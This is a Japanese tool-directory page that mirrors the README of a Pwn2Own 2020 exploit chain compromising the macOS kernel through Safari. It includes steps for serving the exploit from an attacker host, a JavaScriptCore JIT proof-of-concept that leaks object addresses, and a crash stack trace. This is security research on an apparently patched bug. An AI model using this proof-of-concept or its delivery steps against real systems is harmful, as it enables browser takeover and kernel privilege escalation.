Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pwn2own2020 — 6つの脆弱性を連鎖させてSafari経由でmacOSカーネルを侵害する | Kitploit
ツール/GitHubGitHub/sslab-gatech/pwn2own2020
特権昇格エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテストペイロード開発バイナリエクスプロイト
GitHubsslab-gatech/pwn2own2020

pwn2own2020

6つの脆弱性を連鎖させてSafari経由でmacOSカーネルを侵害する

リポジトリを見る
41458255年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

macOS カーネルを Safari 経由で 6 つの脆弱性を連鎖させて侵害する

概要

このリポジトリには、macOS 10.15.3 を対象としたカーネル権限昇格を伴う Apple Safari への Pwn2Own 2020 優勝提出 のエクスプロイトおよび技術的詳細が含まれています。詳細については、Blackhat USA 2020 のスライド と ビデオ もご覧ください。また、このリポジトリには、エクスプロイト成功時の デモビデオ も含まれています。

再現方法

  1. exploits フォルダ内で python3 を使用して HTTP サーバーを実行します。```shell $ python3 -m http.server 80
2. Safariで攻撃者サーバーのIPを使用してウェブサイトにアクセスする:```
http://[attacker_ip]/exploit.html
  1. Calculator(電卓)が起動するのを待ちます(通常は10秒で起動しますが、運が悪いと 時間がかかります)。そして、カーネル特権を持つターミナルも表示されます。カーネル特権 昇格の証明として、SIPを無効にしました。確認するには、 csrutil status コマンドを実行してください。disabled と表示されます。

ソースからビルドする

便宜上、コンパイル済みのペイロード payload.js を提供しています。ただし、ご自身で ビルドすることもできます。これには非常に長い時間がかかることに注意してください。 なぜなら、エクスプロイトチェーンの一部として WebKit をビルドするからです。なお、 ビルドプロセスは Mac OS でのみテストしたことも記しておきます。```shell

Install xcode first

$ python3 -m pip install --user lief $ make

技術的な詳細
-----------------

このエクスプロイトを成立させるために、私たちは以下の*6つ*の脆弱性を連鎖させました。

### 1. JavaScriptCore DFGコンパイラにおける'in'演算子の誤った副作用モデリングによるSafariでのリモートコード実行

- 根本原因の分析

JavaScriptCoreでは、インデックス付きプロパティが'in'演算子で問い合わせられた場合、
DFGコンパイラは、この操作をインターセプトできるプロキシオブジェクトが
プロトタイプチェーン内に存在しない限り、その操作は副作用が無いものと想定します。
JavaScriptCoreは、このインデックス付きプロパティアクセスをインターセプトできるオブジェクトを、
'MayHaveIndexedAccessors'というフラグを使用してマークします。
このフラグは、Proxyオブジェクトに対して明示的にマークされます。```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

しかし、副作用を引き起こす可能性のある別のオブジェクトがあります。 独自の getOwnPropertySlot() メソッドを実装する JSHTMLEmbedElement です。1つ の方法として、'in' 演算子で JavaScript コールバック(すなわち副作用)をトリガーするには、 PDFプラグインを備えた <embed> 要素を使用します。プロパティが embed / object タグの DOM オブジェクトで照会されると、 背後にあるプラグインをロードしようとし、 PDFプラグインの場合は DOMSubtreeModified イベントハンドラが呼び出される可能性があります。なぜなら、 body 要素に対して appendChild メソッドを使用するからです。

これは、getOwnPropertySlot() から副作用を呼び出したときのスタックトレースです。```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

プロトタイプチェーン内のオブジェクトはどれも"MayHaveIndexedAccessors"でマークされていないため、JITはこの'in'演算子の使用には内部に遷移が含まれないものと想定し、遷移後に配列型チェックを除去します。```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

これをもとにaddrof/fakeobjプリミティブを構築することで、任意の RWプリミティブを作成して、JITコンパイルされたJavaScript関数でコード実行を実現できます。

  • エクスプロイト
ツールをダウンロード